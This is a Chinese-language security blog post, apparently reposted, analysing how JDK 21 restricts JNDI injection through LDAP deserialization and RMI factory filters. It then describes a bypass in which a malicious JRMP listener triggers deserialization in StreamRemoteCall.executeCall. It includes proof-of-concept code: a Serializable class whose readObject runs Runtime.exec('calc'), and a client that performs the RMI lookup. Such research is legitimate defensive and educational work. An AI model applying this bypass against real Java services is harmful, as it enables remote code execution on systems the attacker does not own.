jdk21下的jndi注入

admin 2024年9月2日08:19:28评论13 views字数 5398阅读17分59秒阅读模式

jdk21bypass

限制点

对LDAP限制

我们知道打LDAP反序列化无论是远程类加载,还是直接传入序列化的数据或者是打工厂类都是在我们的decodeObject方法

jdk21

static Object decodeObject(Attributes attrs)
throws NamingException {

Attribute attr;

// Get codebase, which is used in all 3 cases.
String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
try {
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
if (!VersionHelper.isSerialDataAllowed()) {
throw new NamingException("Object deserialization is not allowed");
}
ClassLoader cl = helper.getURLClassLoader(codebases);//打远程类的
return deserializeObject((byte[])attr.get(), cl);
} else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
// javaRemoteLocation attribute (RMI stub will be created)
if (!VersionHelper.isSerialDataAllowed()) {
throw new NamingException("Object deserialization is not allowed");
}
// For backward compatibility only
return decodeRmiObject(
(String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
(String)attr.get(), codebases);
}

attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
if (attr != null &&
(attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
return decodeReference(attrs, codebases);
}
return null;
} catch (IOException e) {
NamingException ne = new NamingException();
ne.setRootCause(e);
throw ne;
}
}

jdk8u65

static Object decodeObject(Attributes var0) throws NamingException {
String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

try {
Attribute var1;
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
ClassLoader var3 = helper.getURLClassLoader(var2);
return deserializeObject((byte[])((byte[])var1.get()), var3);
} else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
} else {
var1 = var0.get(JAVA_ATTRIBUTES[0]);
return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
}
} catch (IOException var5) {
NamingException var4 = new NamingException();
var4.setRootCause(var5);
throw var4;
}
}

可以看到21是多了

VersionHelper.isSerialDataAllowed()
public static boolean isSerialDataAllowed() {
return trustSerialData;
}

而trustSerialData默认就是false

所以打ldap反序列化是很难进行的了

对rmi的限制

我们知道高版本打rmi一般都是打的本地工厂类,我们看看21又对这个做了什么限制

打工厂类,我们都是利用

NamingManager.getObjectInstance()

去触发工厂类的getObjectInstance()方法

在我们的21是NamingManagerHelper

我们看到getObjectInstance()方法

jdk21下的jndi注入

看到对比了,我们看一下这个新参数是什么

return NamingManagerHelper.getObjectInstance(obj, name, this,
environment, ObjectFactoriesFilter::checkRmiFilter);

我们看到checkRmiFilter

public static boolean checkRmiFilter(Class<?> serialClass) {
return checkInput(RMI_FILTER, () -> serialClass);
}

RMI_FILTER

private static final ConfiguredFilter RMI_FILTER =
initializeFilter(RMI_FACTORIES_FILTER_PROPNAME, DEFAULT_RMI_SP_VALUE);

可以看到是只能是我们这个jdk.naming.rmi/com.sun.jndi.rmi.*;!"包下的

private static final String DEFAULT_RMI_SP_VALUE =
"jdk.naming.rmi/com.sun.jndi.rmi.**;!*";

突破

既然在我们两个点上给我们限制了,我们只能找其他可以反序列化的地方了

StreamRemoteCall#executeCall()

分析

我们先看到这个方法

public void executeCall() throws Exception {
byte returnType;

// read result header
DGCAckHandler ackHandler = null;
try {
if (out != null) {
ackHandler = out.getDGCAckHandler();
}
releaseOutputStream();
DataInputStream rd = new DataInputStream(conn.getInputStream());
byte op = rd.readByte();
if (op != TransportConstants.Return) {
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF,
"transport return code invalid: " + op);
}
throw new UnmarshalException("Transport return code invalid");
}
getInputStream();
returnType = in.readByte();
in.readID(); // id for DGC acknowledgement
} catch (UnmarshalException e) {
throw e;
} catch (IOException e) {
throw new UnmarshalException("Error unmarshaling return header",
e);
} finally {
if (ackHandler != null) {
ackHandler.release();
}
}

// read return value
switch (returnType) {
case TransportConstants.NormalReturn:
break;

case TransportConstants.ExceptionalReturn:
Object ex;
try {
ex = in.readObject();
} catch (Exception e) {
discardPendingRefs();
throw new UnmarshalException("Error unmarshaling return", e);
}

// An exception should have been received,
// if so throw it, else flag error
if (ex instanceof Exception) {
exceptionReceivedFromServer((Exception) ex);
} else {
discardPendingRefs();
throw new UnmarshalException("Return type not Exception");
}
// Exception is thrown before fallthrough can occur
default:
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF,
"return code invalid: " + returnType);
}
throw new UnmarshalException("Return code invalid");
}
}

可以看到代码逻辑是读取我们的conn的流,然后传给in,然后根据我们的returnType

如果是case TransportConstants.ExceptionalReturn:

那么就反序列化我们的in

ex = in.readObject();

而在我们的RMI的流程里面,就会走到这个方法

executeCall:234, StreamRemoteCall (sun.rmi.transport)
invoke:382, UnicastRef (sun.rmi.server)
lookup:123, RegistryImpl_Stub (sun.rmi.registry)
lookup:137, RegistryContext (com.sun.jndi.rmi.registry)
lookup:220, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:409, InitialContext (javax.naming)
main:8, Client

调试分析后其实

jdk21下的jndi注入

如果我们能够控制conn返回的内容,那么就可以在这里实现反序列化

但是需要满足case TransportConstants.ExceptionalReturn:,而我们的jrmp的listner正好返回的就是

jdk21下的jndi注入

复现

我们最后的在一个端口放上我们的恶意代码的就是JRMP了,直接使用yso里面的工具,我这里为了方便,自己假设有一个可以利用的链子

package ysoserial.payloads;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class EvilObject implements Serializable {
private void readObject(ObjectInputStream s) throws IOException {
Runtime.getRuntime().exec("calc");
}
}

然后启用我们的yso的

JRMP listener

jdk21下的jndi注入

然后写一个客户端,去连接我们端口

import javax.naming.Context;
import javax.naming.InitialContext;

public class Client {
public static void main(String[] args) throws Exception {
String uri = "rmi://localhost:1234/any_is_ok";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}

运行弹出计算器

jdk21下的jndi注入

来源:https://xz.aliyun.com/

原文始发于微信公众号(船山信安):jdk21下的jndi注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月2日08:19:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   jdk21下的jndi注入https://cn-sec.com/archives/3119545.html

发表评论

匿名网友 填写信息